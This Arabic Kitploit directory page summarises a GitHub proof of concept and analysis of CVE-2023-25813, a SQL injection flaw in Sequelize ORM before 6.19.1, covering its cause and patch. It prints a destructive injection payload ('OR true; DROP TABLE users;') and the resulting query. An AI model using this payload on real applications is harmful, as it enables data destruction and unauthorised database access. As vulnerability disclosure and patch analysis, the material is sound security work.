Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Sequelize-1day-CVE-2023-25813 — إثبات مفهوم وتحليل فني لـ CVE-2023-25813، وهي ثغرة حقن SQL في Sequelize ORM قبل الإصدار 6.19.1، بما في ذلك تفاصيل الاستغلال ومعلومات التصحيح. | Kitploit
أدوات/GitHubGitHub/bde574786/sequelize-1day-cve-2023-25813
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن قواعد البيانات
GitHubbde574786/sequelize-1day-cve-2023-25813

Sequelize-1day-CVE-2023-25813

إثبات مفهوم وتحليل فني لـ CVE-2023-25813، وهي ثغرة حقن SQL في Sequelize ORM قبل الإصدار 6.19.1، بما في ذلك تفاصيل الاستغلال ومعلومات التصحيح.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
3منذ سنة واحدةلم تتم المراجعة بعد
مشاركة

CVE-2023-25813

معلومات CVE

  • رقم CVE: CVE-2023-25813
  • الوصف: في إصدارات Sequelize الأقدم من 6.19.1، لا يتم ترميز القيم المُمرَّرة عبر خيار replacements بشكل صحيح، مما قد يؤدي إلى حدوث SQL Injection في بعض تركيبات الاستعلامات.
  • النطاق المتأثر: الإصدارات Sequelize 6.19.0 والإصدارات الأقدم
  • إصدار التصحيح: 6.19.1
  • درجة CVSS
    • وفقًا لـ NIST: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    • وفقًا لـ GitHub (CNA): 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

بيئة إعادة الإنتاج

  • Node.js
  • Sequelize v6.19.0
  • MySQL

نظرة عامة على Sequelize

Sequelize هي إحدى مكتبات ORM (رسم الخرائط العلائقية للكائنات) المتاحة في Node.js. تُعد تقنية ORM تقنيةً تعمل على أتمتة التحويل المتبادل بين الكائنات وقواعد البيانات العلائقية، حيث يمكنك من خلالها الاستعلام عن سجلات قاعدة البيانات وإنشاؤها وتعديلها وحذفها عبر الكائنات دون كتابة استعلامات SQL يدويًا.

root@kitploit:~
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);

طريقة استخدام Replacements

يُعد replacements آلية ربط في Sequelize تُستخدم لإدراج قيم إدخال المستخدم في SQL بشكل آمن عند استخدام استعلامات SQL الخام أو أساليب ORM. ويُستخدم كوسيلة رئيسية لمنع SQL Injection.

root@kitploit:~
// الربط القائم على الموضع
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
  replacements: ['active'],
});

// الربط القائم على المفتاح
await sequelize.query(
  'SELECT * FROM users WHERE name = :name AND age = :age',
  {
    replacements: {
      name: 'Alice',
      age: 25
    }
  }
);

نظرة عامة على الثغرة

توفر Sequelize خيار replacements لربط قيم إدخال المستخدم بـ SQL بشكل آمن. ومع ذلك، في الإصدارات الأقدم من Sequelize 6.19.1، عند استخدام أساليب ORM، قد يحدث SQL Injection على الرغم من الربط عبر replacements، وذلك بسبب مشكلة في ترتيب إنشاء SQL الداخلي والاستبدال.

PoC

فيما يلي مثال على كود Sequelize الذي تحدث فيه الثغرة. يمكن أن يحدث SQL Injection عند استخدام مزيج من literal و replacements.

root@kitploit:~
User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

يمكن للمهاجم كسر بنية الاستعلام عن طريق حقن القيم التالية في replacements:

root@kitploit:~
{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

وتتمثل البنية في إعادة إدراج مفتاح replacements (:firstName) في القيمة أيضًا، أي إدخال مفتاح الربط مرة أخرى.

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex(:firstName) 
	OR "lastName" = ':firstName'

الاستعلام النهائي المكتمل كما يلي. ومع ذلك، يتخذ هذا الاستعلام شكلاً يصعب من خلاله تحديد ما إذا كان سيتم تنفيذه بدقة من الناحية البنيوية، وقد تختلف نتيجة التنفيذ وفقًا لطريقة تفسير محلل SQL وإعدادات قاعدة البيانات. في بعض البيئات يُعامل على أنه خطأ بناء جملة بسيط، لكنه بنية خطيرة يمكن أن تؤدي إلى تنفيذ أوامر SQL غير مقصودة اعتمادًا على الإعدادات.

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') 
	OR "lastName" = ''OR true; DROP TABLE users;''

إذا كانت البيئة تسمح لمحلل SQL بتنفيذ استعلامات متعددة (multi-query)، فمن الممكن حذف جدول باستخدام ربط واحد فقط. image.png

سبب حدوث الثغرة

تتعامل Sequelize مع السلسلة التي تمر إلى دالة literal باعتبارها جزء SQL موثوقًا به دون ترميزها (escape). لذلك، يتم إدراج هذه السلسلة كما هي في استعلام SQL، وحتى إذا بقيت فيها :param، فإنها تُترك دون أي معالجة. وكما هو موضح أدناه، فإن آلية replacements تقوم بالبحث عن رموز :param المتبقية واستبدالها بعد تجميع SQL بالكامل كسلسلة نصية وقبل التنفيذ مباشرة. ونتيجة لذلك، يتم إدراج إدخال المستخدم كما هو داخل SQL الذي اكتملت بنيته بالفعل، مما يؤدي إلى انهيار بنية الاستعلام بالكامل وحدوث الثغرة.

root@kitploit:~
// sequelize-6.19.0/src/sequelize.js

if (options.replacements) {
      if (Array.isArray(options.replacements)) {
        sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
      } else {
        sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
      }
    }

التصحيح

تم تغيير السلوك بتعريف injectReplacements للسماح بالربط فقط في المواضع الآمنة نحويًا.

root@kitploit:~
// sequelize-6.19.1/src/sequelize.js

if (options.replacements) {
  if (Array.isArray(options.replacements)) {
    sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
  } else {
    sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
  }
  sql = injectReplacements(sql, this.dialect, options.replacements);
}

المراجع

  • https://github.com/sequelize/sequelize/issues/9410
  • https://github.com/advisories/GHSA-wrh9-cjv3-2hpw
  • https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1
تنزيل الأداة